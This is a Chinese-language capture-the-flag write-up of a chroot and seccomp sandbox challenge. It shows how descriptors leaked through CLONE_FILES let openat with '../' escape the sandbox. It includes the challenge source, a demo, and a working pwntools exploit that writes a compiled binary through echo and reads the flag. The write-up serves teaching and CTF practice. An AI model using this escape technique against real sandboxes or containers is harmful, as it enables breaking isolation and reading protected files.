题目分析
附件为一个源码, 其中注释我都写好了, 主要就讲关键的知识点.
#define _GNU_SOURCE#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <string.h>
#include <errno.h>
#include <sched.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <seccomp.h>
#include <linux/seccomp.h>
#include <openssl/md5.h>
#include <sys/resource.h>int main(int argc, char **argv)
{MD5_CTX ctx;char md5_res[17]="";char key[100]="";char sandbox_dir[100]="/home/ctf/sandbox/";char dir_name[100]="/home/ctf/sandbox/";char buf[0x11111] ,ch;FILE *pp;int i;int pid, fd;setbuf(stdin, NULL);setbuf(stdout, NULL);setbuf(stderr, NULL);/*struct rlimit 结构体定义了一个资源限制。它包含两个字段:rlim_cur: 当前资源限制。rlim_max: 最大资源限制。struct rlimit {__kernel_ulong_t rlim_cur;__kernel_ulong_t rlim_max;};*/struct rlimit r;// 设置进程的核心文件大小限制为 0// 这意味着进程在发生段错误时不会生成核心 core 文件r.rlim_max = r.rlim_cur = 0;setrlimit(RLIMIT_CORE, &r);memset(key, 0, sizeof(key));printf("input your key:\n");read(0, key, 20);// 对 key 进行 md5, 结果保存在 md5_res 中MD5_Init(&ctx);MD5_Update(&ctx, key, strlen(key));MD5_Final(md5_res, &ctx);for(int i = 0; i < 16; i++) sprintf(&(dir_name[i*2 + 18]), "%02hhx", md5_res[i]&0xff);printf("dir : %s\n", dir_name);printf("So, what's your command, sir?\n");for (i=0;i<0x11100;i++){read(0, &ch, 1);if (ch=='\n' || ch==EOF){break;}buf[i] = ch;}// 创建一个进程pid = syscall(__NR_clone, CLONE_NEWNS | CLONE_NEWPID | CLONE_NEWUSER | CLONE_FILES | CLONE_NEWUTS | CLONE_NEWNET, 0, 0, 0, 0);if (pid) {if (open(sandbox_dir, O_RDONLY) == -1){perror("fail to open sandbox dir");exit(1);}if (open(dir_name, O_RDONLY) != -1){printf("Entering your dir\n");if (chdir(dir_name)==-1){puts("chdir err, exiting\n");exit(1);}}else{ // dir_name 不存在的话则进行创建并配置相关信息printf("Creating your dir\n");// 创建一个目录mkdir(dir_name, 0755);printf("Entering your dir\n");// 进入 dir_name 目录if (chdir(dir_name)==-1){puts("chdir err, exiting\n");exit(1);}// 创建相关文件夹mkdir("bin", 0777);mkdir("lib", 0777);mkdir("lib64", 0777);mkdir("lib/x86_64-linux-gnu", 0777);// 复制相关文件到当前工作目录下的文件夹中system("cp /bin/bash bin/sh");system("cp /bin/chmod bin/");system("cp /usr/bin/tee bin/");system("cp /lib/x86_64-linux-gnu/libtinfo.so.5 lib/x86_64-linux-gnu/");system("cp /lib/x86_64-linux-gnu/libdl.so.2 lib/x86_64-linux-gnu/");system("cp /lib/x86_64-linux-gnu/libc.so.6 lib/x86_64-linux-gnu/");system("cp /lib64/ld-linux-x86-64.so.2 lib64/");}char uidmap[] = "0 1000 1", filename[30];char pid_string[7];sprintf(pid_string, "%d", pid);// filename 为 /proc/pid/uid_map// 文件包含了当前进程的 UID 映射信息// 格式为: <inside-uid> <outside-uid> <count>// <inside-uid> 是进程内部的 UID// <outside-uid> 是进程外部的 UID// <count> 是映射的 UID 的数量sprintf(filename, "/proc/%s/uid_map", pid_string);fd = open(filename, O_WRONLY|O_CREAT);// 写入 0 1000 1// 表示进程内部的 UID 0 映射到进程外部的 UID 1000// 这意味着进程在容器内部的 UID 为 0,但在容器外部的 UID 为 1000if (write(fd, uidmap, sizeof(uidmap)) == -1){printf("write to uid_map Error!\n");printf("errno=%d\n",errno);}exit(0);}sleep(1);// entering sandboxif (chdir(dir_name)==-1){puts("chdir err, exiting\n");exit(1);}// 更改当前目录为该进程的根目录if (chroot(".") == -1){puts("chroot err, exiting\n");exit(1);}// set seccomp// 设置沙箱, 杀了 mkdir, link, symlink, unshare, prctl, chroot, seccomp 系统调用scmp_filter_ctx sec_ctx;sec_ctx = seccomp_init(SCMP_ACT_ALLOW);seccomp_rule_add(sec_ctx, SCMP_ACT_KILL, SCMP_SYS(mkdir), 0);seccomp_rule_add(sec_ctx, SCMP_ACT_KILL, SCMP_SYS(link), 0);seccomp_rule_add(sec_ctx, SCMP_ACT_KILL, SCMP_SYS(symlink), 0);seccomp_rule_add(sec_ctx, SCMP_ACT_KILL, SCMP_SYS(unshare), 0);seccomp_rule_add(sec_ctx, SCMP_ACT_KILL, SCMP_SYS(prctl), 0);seccomp_rule_add(sec_ctx, SCMP_ACT_KILL, SCMP_SYS(chroot), 0);seccomp_rule_add(sec_ctx, SCMP_ACT_KILL, SCMP_SYS(seccomp), 0);seccomp_load(sec_ctx);// 执行命令, 管道只能写pp = popen(buf, "w");if (pp == NULL)exit(0);pclose(pp);return 0;
}
总的来说功能就是用户输入一个 key, 然后对其进行 md5, 用此作为路径名设置沙箱, 在沙箱中可以执行一条 shell 命令.
漏洞分析
漏洞主要在下面这句代码.
pid = syscall(__NR_clone, CLONE_NEWNS | CLONE_NEWPID | CLONE_NEWUSER | CLONE_FILES | CLONE_NEWUTS | CLONE_NEWNET, 0, 0, 0, 0);
可以看到其设置了 CLONE_FILES 标志, 这表示父子进程共享文件打开表. 而题目在父进程中打开了以下三个文件并且没有关闭:( 这里目录统称为文件
1) /home/ctf/sandbox/
2) /home/ctf/sandbox/md5(key)
3) /proc/pid/uid_map
其对应的文件描述符依次为3, 4, 5. 所以可以利用 openat 函数进行逃逸:
#include <fcntl.h>
int openat(int dirfd, const char *pathname, int flags, ...);
dirfd
是要打开文件的目录的文件描述符。pathname
是要打开的文件的路径名。flags
是打开文件的标志。
所以这里如果我们设置 dirfd 为 3, 然后 pathname 使用 ../../ 进行目录穿越即可完成逃逸
这里有个 demo:
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sched.h>
#include <fcntl.h>
#include <sys/syscall.h>
#include <sys/resource.h>int main(int argc, char** argv, char** envp)
{FILE* pp;int pid;pid = syscall(__NR_clone, CLONE_FILES|CLONE_NEWNS|CLONE_NEWPID|CLONE_NEWUSER|CLONE_NEWUTS|CLONE_NEWNET, 0, 0, 0, 0);if (pid){open("/tmp", O_RDONLY);printf("1 Pid: %d\n", getpid());printf("2 Child Pid: %d\n", pid);sleep(30);exit(0);}sleep(1);printf("3 Child pid: %d\n", getpid());pp = popen("echo '4 Pid: '$$;sleep 100", "w");if (!pp) exit(0);pclose(pp);return 0;
}
可以看到4个进程中都存在 3 这个文件描述符并且指向同一位置
漏洞利用
在漏洞分析阶段, 我们已经提出了利用方式, 即通过 openat 配合父进程"遗留"的文件描述符实现逃逸.
但是这里就存在一个问题了, 在题目分析中已经说了, 最后我们只能通过 popen 去执行一个 shell 命令. 而原则上题目只给了 bash, chmod, tee 三个 shell 命令. 而我们最后是要利用 openat 打开 flag文件进行读取输出, 所以我们像 kernel pwn 那样上传一个 exp 然后执行. 那么如何将 exp 写入文件呢? 在 kernel pwn 中我们都是通过 echo 来完成的. 这里有 echo 吗? 答案是有的, 别忘了内建命令.
看看 gpt 的回答:
- 可用性不同:内建命令在所有 Linux 系统上都可用,而非内建命令则需要安装相应的软件包才能使用。
而我们可以通过 type 去简单判断一下是否是内建命令. 比如:
本地复现
修改代码为如下代码: 注: 这里仅仅为了本地复现而已, 所以把 seccomp 给删了:(因为我虚拟机没下
#define _GNU_SOURCE#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <string.h>
#include <errno.h>
#include <sched.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <sys/resource.h>
#include <sys/stat.h>int main(int argc, char **argv)
{char sandbox_dir[100]="/home/xiaozaya/rubbish/fx/sandbox/";char dir_name[100]="/home/xiaozaya/rubbish/fx/sandbox/511721";char buf[0x11111] ,ch;FILE *pp;int i;int pid, fd;setbuf(stdin, NULL);setbuf(stdout, NULL);setbuf(stderr, NULL);struct rlimit r;r.rlim_max = r.rlim_cur = 0;setrlimit(RLIMIT_CORE, &r);printf("dir : %s\n", dir_name);printf("So, what's your command, sir?\n");for (i=0;i<0x11100;i++){read(0, &ch, 1);if (ch=='\n' || ch==EOF){break;}buf[i] = ch;}pid = syscall(__NR_clone, CLONE_NEWNS | CLONE_NEWPID | CLONE_NEWUSER | CLONE_FILES | CLONE_NEWUTS | CLONE_NEWNET, 0, 0, 0, 0);if (pid) {if (open(sandbox_dir, O_RDONLY) == -1){perror("fail to open sandbox dir");exit(1);}if (open(dir_name, O_RDONLY) != -1){printf("Entering your dir\n");if (chdir(dir_name)==-1){puts("chdir err, exiting\n");exit(1);}}else{printf("Creating your dir\n");mkdir(dir_name, 0755);printf("Entering your dir\n");if (chdir(dir_name)==-1){puts("chdir err, exiting\n");exit(1);}mkdir("bin", 0777);mkdir("lib", 0777);mkdir("lib64", 0777);mkdir("lib/x86_64-linux-gnu", 0777);system("cp /bin/bash bin/sh");system("cp /bin/chmod bin/");system("cp /usr/bin/tee bin/");system("cp /lib/x86_64-linux-gnu/libtinfo.so.6 lib/x86_64-linux-gnu/");system("cp /lib/x86_64-linux-gnu/libdl.so.2 lib/x86_64-linux-gnu/");system("cp /lib/x86_64-linux-gnu/libc.so.6 lib/x86_64-linux-gnu/");system("cp /lib64/ld-linux-x86-64.so.2 lib64/");}char uidmap[] = "0 1000 1", filename[30];char pid_string[7];sprintf(pid_string, "%d", pid);sprintf(filename, "/proc/%s/uid_map", pid_string);fd = open(filename, O_WRONLY|O_CREAT);if (write(fd, uidmap, sizeof(uidmap)) == -1){printf("write to uid_map Error!\n");printf("errno=%d\n",errno);}exit(0);}sleep(1);// entering sandboxif (chdir(dir_name)==-1){puts("chdir err, exiting\n");exit(1);}if (chroot(".") == -1){puts("chroot err, exiting\n");exit(1);}pp = popen(buf, "w");if (pp == NULL)exit(0);pclose(pp);return 0;
}
exp 如下:
import os
from pwn import *
import codecsio = process("./pwn")code = '''
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
int main(){char buf[20]={0};int fd = openat(4, "../flag", 0);read(fd, buf, 100);write(1, buf, 0x20);printf("Good !\\n");
}
'''a = open('exp.c','w')
a.write(code)
a.close()
os.system("gcc exp.c -o exp")
b = open("./exp", "rb").read()
b = codecs.encode(b, "hex").decode()
c = ""
for i in range(0,len(b),2):c += '\\x'+b[i]+b[i+1]
payload = 'echo -e "'+c+'"'+'> exp;chmod +x exp; ./exp'
print("[+] length: " + hex(len(payload)))io.recv()
io.sendline(payload)
io.recv()
io.interactive()
效果如下: